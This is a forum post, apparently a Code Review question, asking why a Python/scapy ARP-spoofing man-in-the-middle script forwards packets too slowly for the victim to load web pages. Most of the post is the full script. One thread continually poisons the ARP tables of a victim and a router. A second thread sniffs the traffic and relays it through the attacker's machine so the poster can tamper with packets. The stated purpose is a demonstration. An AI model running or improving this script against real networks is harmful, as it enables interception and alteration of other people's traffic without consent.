I've followed a few tutorials on ARP Spoofing with Python/scapy. They all suggest activating the OS IP Forwarding in Linux:
echo 1 > /proc/sys/net/ipv4/ip_forward
This worked fine for me but has the disadvantage that I can't tamper with packets. Since I will need to demonstrate modifying a packet before sending it along I need to handle the forwarding myself. I came up with this:
from scapy.all import *
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from threading import Thread
import time
victim_ip = '192.168.0.2'
victim_mac = 'b0:34:95:ee:ee:b6'
router_ip = '192.168.0.1'
router_mac = 'C0:3E:0F:29:4F:EC'
attack_ip = '192.168.0.10'
attack_mac = '08:00:27:80:bd:26'
poison_timer = .1
def monitor_callback(pkt):
# Only handle IP Layer packets
if IP in pkt:
# Forward packets from the victim to the router
if pkt[Ether].src == victim_mac:
pkt[Ether].dst = router_mac
pkt[Ether].src = attack_mac
sendp(fragment(pkt), verbose=0)
# Packets destined to the victim are forwarded
elif pkt[IP].dst == victim_ip:
pkt[Ether].dst = victim_mac
pkt[Ether].src = attack_mac
sendp(fragment(pkt), verbose=0)
class monitor_incoming(Thread):
def __init__(self):
Thread.__init__(self)
def run(self):
sniff(prn=monitor_callback, filter="ip", store=0)
class poison(Thread):
def __init__(self):
Thread.__init__(self)
def run(self):
# Tell the victim 'router_ip is at attack_mac'
router_is_at = ARP(op=2, psrc=router_ip, pdst=victim_ip, hwdst=attack_mac)
# Tell the router 'victim_ip is at attack_mac'
victim_is_at = ARP(op=2, psrc=victim_ip, pdst=router_ip, hwdst=attack_mac)
while True:
send(router_is_at, verbose=0)
send(victim_is_at, verbose=0)
time.sleep(poison_timer)
if __name__ == '__main__':
monitor_incoming = monitor_incoming()
monitor_incoming.start()
poison = poison()
poison.start()
The monitor_callback
method is called every time an incoming packet arrives.
The program technically works. The router and the victim's ARP tables are poisoned and packets are "forwarded" past the middle-man.
The forwarding seems to be too slow though. Looking at Wireshark, it appears that the TCP Timer on both the victim and the server times out causing them to resend their packets before they're delivered. This leads to some kind of loop where they're each retransmitting and ACKing out sync packets. The bottom effect is that the victim can't even load a single small web page:
What is wrong with my program? It should technically be feasible to handle this in Python and still have a workable (even if slower) connection allowing the victim to browse the net.
(Note: I'm posting this on Code Review because the program technically works, even if it's not currently usable in practice, likely due to low optimization)